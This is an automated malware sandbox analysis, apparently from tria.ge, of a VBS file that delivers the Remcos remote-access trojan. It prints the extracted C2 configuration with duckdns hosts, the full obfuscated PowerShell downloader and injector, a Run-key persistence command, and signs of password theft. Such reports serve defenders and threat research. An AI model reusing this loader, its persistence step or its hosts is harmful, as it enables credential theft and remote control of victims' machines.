Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
148s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27/11/2024, 08:11
Static task
static1
Behavioral task
behavioral1
Sample
SERV27THNOVSCANNEDcopiesACCOUNT-SUMMARYcon3-2.vbs
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
SERV27THNOVSCANNEDcopiesACCOUNT-SUMMARYcon3-2.vbs
Resource
win10v2004-20241007-en
General
-
Target
SERV27THNOVSCANNEDcopiesACCOUNT-SUMMARYcon3-2.vbs
-
Size
17KB
-
MD5
83bb52876c9e18331047c18beabecaa6
-
SHA1
0ce3290bee56bec9662d1a1483e0abcfdd27d5e4
-
SHA256
34f96275918322ad5df35688f0d2c144ebe0fa84b074d7f25ca112b2e71370dd
-
SHA512
a598d004ab6b0d796db53654e82b94cc0d97eae99e42cebd15aa2db2f3c40a41012845d268732048d45dd8083d8c602d94794e8a1e528f825e391b42038b638c
-
SSDEEP
384:PTBcsgRgCHXO/jmovrQQ51yUVG/Pk6yTvB:rBggCHXO/p8Q2UVG/lyTJ
Malware Config
Extracted
remcos
SERVER
hoiujlos18jaru1.duckdns.org:19760
hoiujlos18jaru1.duckdns.org:19761
hoiujlos18jaru2.duckdns.org:19760
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
true
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
ploy.dat
-
keylog_flag
false
-
keylog_path
%AppData%
-
mouse_option
false
-
mutex
osfrerlhkrw-BTZQ53
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
- startup_value
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Remcos family
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/1712-72-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/1732-71-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/2184-70-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/1712-72-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/1732-71-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Blocklisted process makes network request 7 IoCs
flow pid Process 3 1724 WScript.exe 9 4328 powershell.exe 23 1088 msiexec.exe 25 1088 msiexec.exe 28 1088 msiexec.exe 29 1088 msiexec.exe 31 1088 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation WScript.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts msiexec.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Helicteres = "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\\Software\\efterretternes\\').Bringende;%Retill% ($Lanch)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 1088 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2736 powershell.exe 1088 msiexec.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1088 set thread context of 1732 1088 msiexec.exe 100 PID 1088 set thread context of 1712 1088 msiexec.exe 101 PID 1088 set thread context of 2184 1088 msiexec.exe 102 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 4964 reg.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 4328 powershell.exe 4328 powershell.exe 2736 powershell.exe 2736 powershell.exe 2736 powershell.exe 2184 msiexec.exe 2184 msiexec.exe 1732 msiexec.exe 1732 msiexec.exe 1732 msiexec.exe 1732 msiexec.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
pid Process 2736 powershell.exe 1088 msiexec.exe 1088 msiexec.exe 1088 msiexec.exe 1088 msiexec.exe 1088 msiexec.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4328 powershell.exe Token: SeDebugPrivilege 2736 powershell.exe Token: SeDebugPrivilege 2184 msiexec.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1088 msiexec.exe -
Suspicious use of WriteProcessMemory 30 IoCs
description pid Process procid_target PID 1724 wrote to memory of 4328 1724 WScript.exe 82 PID 1724 wrote to memory of 4328 1724 WScript.exe 82 PID 2736 wrote to memory of 1088 2736 powershell.exe 93 PID 2736 wrote to memory of 1088 2736 powershell.exe 93 PID 2736 wrote to memory of 1088 2736 powershell.exe 93 PID 2736 wrote to memory of 1088 2736 powershell.exe 93 PID 1088 wrote to memory of 3908 1088 msiexec.exe 94 PID 1088 wrote to memory of 3908 1088 msiexec.exe 94 PID 1088 wrote to memory of 3908 1088 msiexec.exe 94 PID 3908 wrote to memory of 4964 3908 cmd.exe 96 PID 3908 wrote to memory of 4964 3908 cmd.exe 96 PID 3908 wrote to memory of 4964 3908 cmd.exe 96 PID 1088 wrote to memory of 972 1088 msiexec.exe 98 PID 1088 wrote to memory of 972 1088 msiexec.exe 98 PID 1088 wrote to memory of 972 1088 msiexec.exe 98 PID 1088 wrote to memory of 2488 1088 msiexec.exe 99 PID 1088 wrote to memory of 2488 1088 msiexec.exe 99 PID 1088 wrote to memory of 2488 1088 msiexec.exe 99 PID 1088 wrote to memory of 1732 1088 msiexec.exe 100 PID 1088 wrote to memory of 1732 1088 msiexec.exe 100 PID 1088 wrote to memory of 1732 1088 msiexec.exe 100 PID 1088 wrote to memory of 1732 1088 msiexec.exe 100 PID 1088 wrote to memory of 1712 1088 msiexec.exe 101 PID 1088 wrote to memory of 1712 1088 msiexec.exe 101 PID 1088 wrote to memory of 1712 1088 msiexec.exe 101 PID 1088 wrote to memory of 1712 1088 msiexec.exe 101 PID 1088 wrote to memory of 2184 1088 msiexec.exe 102 PID 1088 wrote to memory of 2184 1088 msiexec.exe 102 PID 1088 wrote to memory of 2184 1088 msiexec.exe 102 PID 1088 wrote to memory of 2184 1088 msiexec.exe 102
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SERV27THNOVSCANNEDcopiesACCOUNT-SUMMARYcon3-2.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Tightenings='Snitten';;$Arbejdsministerium='Dirkens';;$Togbetjentens39='Stianes';;$Hverdagslivet='Gospodar';;$Gaelicism='Indigotindisulphonic';;$Velal=$host.Name;function Subcentral($Overestimations){If ($Velal) {$nyhedsorienterings=3} for ($lagging=$nyhedsorienterings;;$lagging+=4){if(!$Overestimations[$lagging]) { break }$Ceratiasis+=$Overestimations[$lagging]}$Ceratiasis}function Logomach($Blokerings){ .($Fimredes) ($Blokerings)}$Decapitation=Subcentral 'LoyNMo ePugTDo,. nW UlELadBDemcSlaLMuni .oe opnHy t';$Germanisere=Subcentral ' kiMHeloElezF ri .nl rylCo aUnn/';$Birdbrain=Subcentral 'F eTAdrlTins.ac1 Re2';$Depilerer='Pre[KnaNDokEK.oT,il.IleSU eeStoRHerVBl,iGyncTh.ERa pvadoArtiHydn RetJeoM C aAp.n ,aaSc gLuvE FrRInd] Ru:M.n:,rdSResERa CFjeuPaarL uIGnaTSvayDy.P.tar P oZooT ,ooUniCHa oPonLGra=,is$HikbGarI,akrTgedForbCanrMo AButi TeN';$Germanisere+=Subcentral ' Fi5Cus. K.0 Jv j(.ulW ediPaln Kod S.o SuwMassCig E NtraTB k ,i1Reb0Unf.Mf,0G.a;Twe DecW AfiM.nn Te6Phe4Mas;Al BesxKwe6 e4vae;Lan Tj rVanvUhj: Ce1Enc3 S 1cat.Non0Sma)Te Ra GTece Ekc ukEleo,it/Akr2 la0Bli1 nc0 ot0 De1Out0Af,1 No H.FMe.ime rRoaeEpifGrioBruxPho/lma1C l3Cli1Ser. De0';$Neighborly=Subcentral 'GesuBe S.nveAfgRAss-SamAPaggGrieBann.ndt';$Tipuloid=Subcentral 'TenhAsttStatRecp nsUn :Be / La/HanmKomy TocInsoGalmU npIntaG lnDi.y .esManc Hoa InnR tnOpse oidVe fU siIrelCoseBraz Rh. hocDatoIrimTr / L sUnicMurn,ng/ dyPSpilG aaUgenAconNeudDiarBori P.n ,agPreefisrFrt.D rxKnstProp';$Dehair=Subcentral 'mo >';$Fimredes=Subcentral ' oaIGulEPoix';$Dieselkretjer='Manifolder';$Novelry='\Medlemsstat.Tio';Logomach (Subcentral 'S,a$exaG aaLDocoOveB.traDoblMac:K,nUAmbDGraFMisrDepIAmpt OcT ibETo.d.ndeNaksPar=bre$A uEP oN umVSe,:PenANeup Bup nudKonACoiT leaOtt+Ste$.lanAirO .tVComE lblVanrTauY');Logomach (Subcentral 'Coe$ ngGutlTjeoDisbEnfaPanlove: BlG ellC,aa DesBurRRobRMe eFlaN a ESkis r=Bes$ omTondiC.mPGuaUho,L .locabIMrsd R .mess .apRa.l DaI EltUds(Sch$ForDRugeCy H S A E.i emrL.m)');Logomach (Subcentral $Depilerer);$Tipuloid=$Glasrrenes[0];$Kommunikationsformen=(Subcentral 'Skv$SkugS.pl M,oA tbS laMasLAtt:DekTSalR.ryIDevmReaPVrkrVame AngSt,NvareUdeR Emieu NKmpgUn,eNnnNEur=B onre,eDe.W er-TreOVa B U jC jEMi.cCa,t.el EngsForyDknSOveTScaeIltmDdp.Kar$tilDUngE .oCAf AE,iP PliEtttAnna ArTpakIelso scN');Logomach ($Kommunikationsformen);Logomach (Subcentral 'Hye$RaaTKonrGe,iSynm ynp H,rByge arg arn ne Kar eiDecnT,lgP,ae eanMat. RoHLane OxaAnidDobeEssr,dss.er[ Fo$SmiNDateTroiS ugEryhVirbForomudrUnml Doy y]B u=Djv$FreGDupeUnzrSkrmUd aF inIn iM tsAdeearcrUnde');$Outechos=Subcentral 'Fri$ arTSe rKediWhimFlapWivr Tme MagStrnReaeIndrheliEgnnVelg AkeGianPup.DraDDowoDyswUnbn Ccl ono B asu.dHe FVoli alMeneLft(,ar$SkiT D iEksp inu StlFl,oLekiStrdCha,To $Be,P RerF ro,wetKreo BakForoNe,lforl M e Prrk reGe.s.ev1fee9 Po8haa)';$Protokolleres198=$Udfrittedes;Logomach (Subcentral 'Sti$ PagKonLSumO Zib erA EslOpd: StaS rND.etCitH omRTilA KrqIn uBugi,kaniltOElenAnge In=Und(DmrtDi.e.krSImptFla-CirpFilaBartLeghund sti$EpipRanr etO roT BiOuncKDelO ubLS lLPseEL dRDyrEWhiSUb 1unl9Omf8,nt)');while (!$Anthraquinone) {Logomach (Subcentral 'Sky$Hegg Kol noPacb Kra CelGau: l A ElrLa bA ooMarrFlei,rozVi i Ben avgFri=Sa $ DaDAntaCocd F eHiglReslFarsBi.t') ;Logomach $Outechos;Logomach (Subcentral 'ParS.trt ReaPasrOxytP,d-ho.SOp lSkoE feP.spTet .h4');Logomach (Subcentral 'Blo$forGGanL SeoW eB ptaAllL Re:MonAPerNIntT SqHTrar uASkuQ NeURi.i PoNSt.OMulNDeceDis= er(D gt DieV ds WetLae- .opKluA A TImpHS r Bru$U cP rarCosO UntLumOA ekAgnO SplShaLobte k,RNite ksSPer1Skj9Mil8 i)') ;Logomach (Subcentral 'lob$J nG l LPalOT ibPagA udlK a:DksM T eUntR lbPerEPlaSSt KElea C TA tnl gIIndN VaG No= Fl$InsgKollUniOCalBTa aVarL Ad:P iaU,bADysr SlgSgeATr NbyggLimS orvpreiRetSTubEOzo+ r+ ,e%Sta$CrogUd lOutA EvsB bRre rPr.E atnSkoeA hS Ax. opC InOUdpuairNPatT') ;$Tipuloid=$Glasrrenes[$Merbeskatning]}$Frimrkealbumet=81047;$Proemptosis=30307;Logomach (Subcentral 'Trs$EgmgMetLH,soUnmb adADovLudl:friLB neP sJDeaET pkJe aSa,sCykEFejRa.yNDelEC.pnTro Ef =Vaa algSluEManT Tu-P iC eO Unn.elt SeE UnnE stSde Pro$KonP lrTelO hethydOIndkStioPogLMetlKilEMusR ftE rS M,1Unm9Und8');Logomach (Subcentral 'Slu$AntgEthlpl,oCirb.dsaDyblSkr:Sa WG uovinrBuelMa dH mlS giMannUsag risSke ,ki=Hu, ind[ BlSA ly Kosu ptUndeChamqu..EdbCForo inRh.v E e Anrko tfab]Fo.:.ot:St,FAnarmyroNedmTelBEleaSadsJeae.in6Ar 4TonSrestH.mrVati.genCitgSto(S.a$,veLCr.e Dej ane rikInfaHalsLinePrerCran OveE yn,ri)');Logomach (Subcentral 'Rip$ AuGO sLB,loDemB U,aSmiLBo :VegtUnovAurUHe NO,egcorEParnPra Mn=Bar Cot[trisafsy vsSoiTHemETh mYar..taTU.vE ewX OpT Bo. FoETr NRa CPyroGudDChiIFllnVenG Ru]Ana: ,e: otaCalsAm cPisIFr I.lu. pagArbES ttSersAzotAfiR SeIUreNSlaGfig(Int$Trew Amo AdR.ymL.igDDoblZiniCrynRing .oSWad)');Logomach (Subcentral ' ri$ upg NoLOffo habvauAModlPyn:a.eg PrLreta nsZMytIVrkn.rae B sTrySCha=Sem$Tr tSamV MiUMisnWitgForeDisNTar.sk SBlyUIntBRi,S Bet,ubr doID vnRetg re( ,a$ kuF,icrTraIRicMFloR G kXylEGrna,edlAmobDemU Obm DeeRvet P ,O.a$Papp,isrEtcoUdsE SkMSanpMa TJutoSkeSHe,I D.SVic)');Logomach $Glaziness;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4328
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Tightenings='Snitten';;$Arbejdsministerium='Dirkens';;$Togbetjentens39='Stianes';;$Hverdagslivet='Gospodar';;$Gaelicism='Indigotindisulphonic';;$Velal=$host.Name;function Subcentral($Overestimations){If ($Velal) {$nyhedsorienterings=3} for ($lagging=$nyhedsorienterings;;$lagging+=4){if(!$Overestimations[$lagging]) { break }$Ceratiasis+=$Overestimations[$lagging]}$Ceratiasis}function Logomach($Blokerings){ .($Fimredes) ($Blokerings)}$Decapitation=Subcentral 'LoyNMo ePugTDo,. nW UlELadBDemcSlaLMuni .oe opnHy t';$Germanisere=Subcentral ' kiMHeloElezF ri .nl rylCo aUnn/';$Birdbrain=Subcentral 'F eTAdrlTins.ac1 Re2';$Depilerer='Pre[KnaNDokEK.oT,il.IleSU eeStoRHerVBl,iGyncTh.ERa pvadoArtiHydn RetJeoM C aAp.n ,aaSc gLuvE FrRInd] Ru:M.n:,rdSResERa CFjeuPaarL uIGnaTSvayDy.P.tar P oZooT ,ooUniCHa oPonLGra=,is$HikbGarI,akrTgedForbCanrMo AButi TeN';$Germanisere+=Subcentral ' Fi5Cus. K.0 Jv j(.ulW ediPaln Kod S.o SuwMassCig E NtraTB k ,i1Reb0Unf.Mf,0G.a;Twe DecW AfiM.nn Te6Phe4Mas;Al BesxKwe6 e4vae;Lan Tj rVanvUhj: Ce1Enc3 S 1cat.Non0Sma)Te Ra GTece Ekc ukEleo,it/Akr2 la0Bli1 nc0 ot0 De1Out0Af,1 No H.FMe.ime rRoaeEpifGrioBruxPho/lma1C l3Cli1Ser. De0';$Neighborly=Subcentral 'GesuBe S.nveAfgRAss-SamAPaggGrieBann.ndt';$Tipuloid=Subcentral 'TenhAsttStatRecp nsUn :Be / La/HanmKomy TocInsoGalmU npIntaG lnDi.y .esManc Hoa InnR tnOpse oidVe fU siIrelCoseBraz Rh. hocDatoIrimTr / L sUnicMurn,ng/ dyPSpilG aaUgenAconNeudDiarBori P.n ,agPreefisrFrt.D rxKnstProp';$Dehair=Subcentral 'mo >';$Fimredes=Subcentral ' oaIGulEPoix';$Dieselkretjer='Manifolder';$Novelry='\Medlemsstat.Tio';Logomach (Subcentral 'S,a$exaG aaLDocoOveB.traDoblMac:K,nUAmbDGraFMisrDepIAmpt OcT ibETo.d.ndeNaksPar=bre$A uEP oN umVSe,:PenANeup Bup nudKonACoiT leaOtt+Ste$.lanAirO .tVComE lblVanrTauY');Logomach (Subcentral 'Coe$ ngGutlTjeoDisbEnfaPanlove: BlG ellC,aa DesBurRRobRMe eFlaN a ESkis r=Bes$ omTondiC.mPGuaUho,L .locabIMrsd R .mess .apRa.l DaI EltUds(Sch$ForDRugeCy H S A E.i emrL.m)');Logomach (Subcentral $Depilerer);$Tipuloid=$Glasrrenes[0];$Kommunikationsformen=(Subcentral 'Skv$SkugS.pl M,oA tbS laMasLAtt:DekTSalR.ryIDevmReaPVrkrVame AngSt,NvareUdeR Emieu NKmpgUn,eNnnNEur=B onre,eDe.W er-TreOVa B U jC jEMi.cCa,t.el EngsForyDknSOveTScaeIltmDdp.Kar$tilDUngE .oCAf AE,iP PliEtttAnna ArTpakIelso scN');Logomach ($Kommunikationsformen);Logomach (Subcentral 'Hye$RaaTKonrGe,iSynm ynp H,rByge arg arn ne Kar eiDecnT,lgP,ae eanMat. RoHLane OxaAnidDobeEssr,dss.er[ Fo$SmiNDateTroiS ugEryhVirbForomudrUnml Doy y]B u=Djv$FreGDupeUnzrSkrmUd aF inIn iM tsAdeearcrUnde');$Outechos=Subcentral 'Fri$ arTSe rKediWhimFlapWivr Tme MagStrnReaeIndrheliEgnnVelg AkeGianPup.DraDDowoDyswUnbn Ccl ono B asu.dHe FVoli alMeneLft(,ar$SkiT D iEksp inu StlFl,oLekiStrdCha,To $Be,P RerF ro,wetKreo BakForoNe,lforl M e Prrk reGe.s.ev1fee9 Po8haa)';$Protokolleres198=$Udfrittedes;Logomach (Subcentral 'Sti$ PagKonLSumO Zib erA EslOpd: StaS rND.etCitH omRTilA KrqIn uBugi,kaniltOElenAnge In=Und(DmrtDi.e.krSImptFla-CirpFilaBartLeghund sti$EpipRanr etO roT BiOuncKDelO ubLS lLPseEL dRDyrEWhiSUb 1unl9Omf8,nt)');while (!$Anthraquinone) {Logomach (Subcentral 'Sky$Hegg Kol noPacb Kra CelGau: l A ElrLa bA ooMarrFlei,rozVi i Ben avgFri=Sa $ DaDAntaCocd F eHiglReslFarsBi.t') ;Logomach $Outechos;Logomach (Subcentral 'ParS.trt ReaPasrOxytP,d-ho.SOp lSkoE feP.spTet .h4');Logomach (Subcentral 'Blo$forGGanL SeoW eB ptaAllL Re:MonAPerNIntT SqHTrar uASkuQ NeURi.i PoNSt.OMulNDeceDis= er(D gt DieV ds WetLae- .opKluA A TImpHS r Bru$U cP rarCosO UntLumOA ekAgnO SplShaLobte k,RNite ksSPer1Skj9Mil8 i)') ;Logomach (Subcentral 'lob$J nG l LPalOT ibPagA udlK a:DksM T eUntR lbPerEPlaSSt KElea C TA tnl gIIndN VaG No= Fl$InsgKollUniOCalBTa aVarL Ad:P iaU,bADysr SlgSgeATr NbyggLimS orvpreiRetSTubEOzo+ r+ ,e%Sta$CrogUd lOutA EvsB bRre rPr.E atnSkoeA hS Ax. opC InOUdpuairNPatT') ;$Tipuloid=$Glasrrenes[$Merbeskatning]}$Frimrkealbumet=81047;$Proemptosis=30307;Logomach (Subcentral 'Trs$EgmgMetLH,soUnmb adADovLudl:friLB neP sJDeaET pkJe aSa,sCykEFejRa.yNDelEC.pnTro Ef =Vaa algSluEManT Tu-P iC eO Unn.elt SeE UnnE stSde Pro$KonP lrTelO hethydOIndkStioPogLMetlKilEMusR ftE rS M,1Unm9Und8');Logomach (Subcentral 'Slu$AntgEthlpl,oCirb.dsaDyblSkr:Sa WG uovinrBuelMa dH mlS giMannUsag risSke ,ki=Hu, ind[ BlSA ly Kosu ptUndeChamqu..EdbCForo inRh.v E e Anrko tfab]Fo.:.ot:St,FAnarmyroNedmTelBEleaSadsJeae.in6Ar 4TonSrestH.mrVati.genCitgSto(S.a$,veLCr.e Dej ane rikInfaHalsLinePrerCran OveE yn,ri)');Logomach (Subcentral 'Rip$ AuGO sLB,loDemB U,aSmiLBo :VegtUnovAurUHe NO,egcorEParnPra Mn=Bar Cot[trisafsy vsSoiTHemETh mYar..taTU.vE ewX OpT Bo. FoETr NRa CPyroGudDChiIFllnVenG Ru]Ana: ,e: otaCalsAm cPisIFr I.lu. pagArbES ttSersAzotAfiR SeIUreNSlaGfig(Int$Trew Amo AdR.ymL.igDDoblZiniCrynRing .oSWad)');Logomach (Subcentral ' ri$ upg NoLOffo habvauAModlPyn:a.eg PrLreta nsZMytIVrkn.rae B sTrySCha=Sem$Tr tSamV MiUMisnWitgForeDisNTar.sk SBlyUIntBRi,S Bet,ubr doID vnRetg re( ,a$ kuF,icrTraIRicMFloR G kXylEGrna,edlAmobDemU Obm DeeRvet P ,O.a$Papp,isrEtcoUdsE SkMSanpMa TJutoSkeSHe,I D.SVic)');Logomach $Glaziness;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2736 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"2⤵
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helicteres" /t REG_EXPAND_SZ /d "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Helicteres" /t REG_EXPAND_SZ /d "%Retill% -windowstyle 1 $Lanch=(gp -Path 'HKCU:\Software\efterretternes\').Bringende;%Retill% ($Lanch)"4⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4964
-
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kqbujxwaqhknvvzxsgamadh"3⤵PID:972
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kqbujxwaqhknvvzxsgamadh"3⤵PID:2488
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\kqbujxwaqhknvvzxsgamadh"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1732
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\vshmkpgcepcsxjvbjqmolqbahx"3⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:1712
-
-
C:\Windows\SysWOW64\msiexec.exeC:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\fmmxkirwsxufhpjfsbhhouorqlnoov"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2184
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5d4ff23c124ae23955d34ae2a7306099a
SHA1b814e3331a09a27acfcd114d0c8fcb07957940a3
SHA2561de6cfd5e02c052e3475d33793b6a150b2dd6eebbf0aa3e4c8e4e2394a240a87
SHA512f447a6042714ae99571014af14bca9d87ede59af68a0fa1d880019e9f1aa41af8cbf9c08b0fea2ccb7caa48165a75825187996ea6939ee8370afa33c9f809e79
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
4KB
MD575379d3dcbcea6a69bc75b884816dd40
SHA17e073a03c3bdbbc60375ddbe56bba211c3d412a6
SHA256cab559f3bbe4a0beb194dffca723b3072184b92687100462eaab04d66fff8de9
SHA512710c2cee369a57a0039fc0d0c59de6118780210ef60ad0daf374f03ba94ab08039bc2aff821f7c99a0ecd0e16189c52e5b6d630b3d541f7b11375f134b985e8c
-
Filesize
144KB
MD5563685c67e8507fb188ff0b8dbdfdb4b
SHA1fbdbe643248ec87ab0b9a35a8e92ebcaf283d13f
SHA256a9b82a9a5555d5dcbb31dfd0d2226c19c284a9d5aecbcb942f9f12cde148bd0a
SHA51240f6e19d838eac5888b930628cf578200507a27cb604e0233337ab3050f71481bda37002dcf60e1c404831e022c7ad24e2be63a9d6647c300880aac7192d6018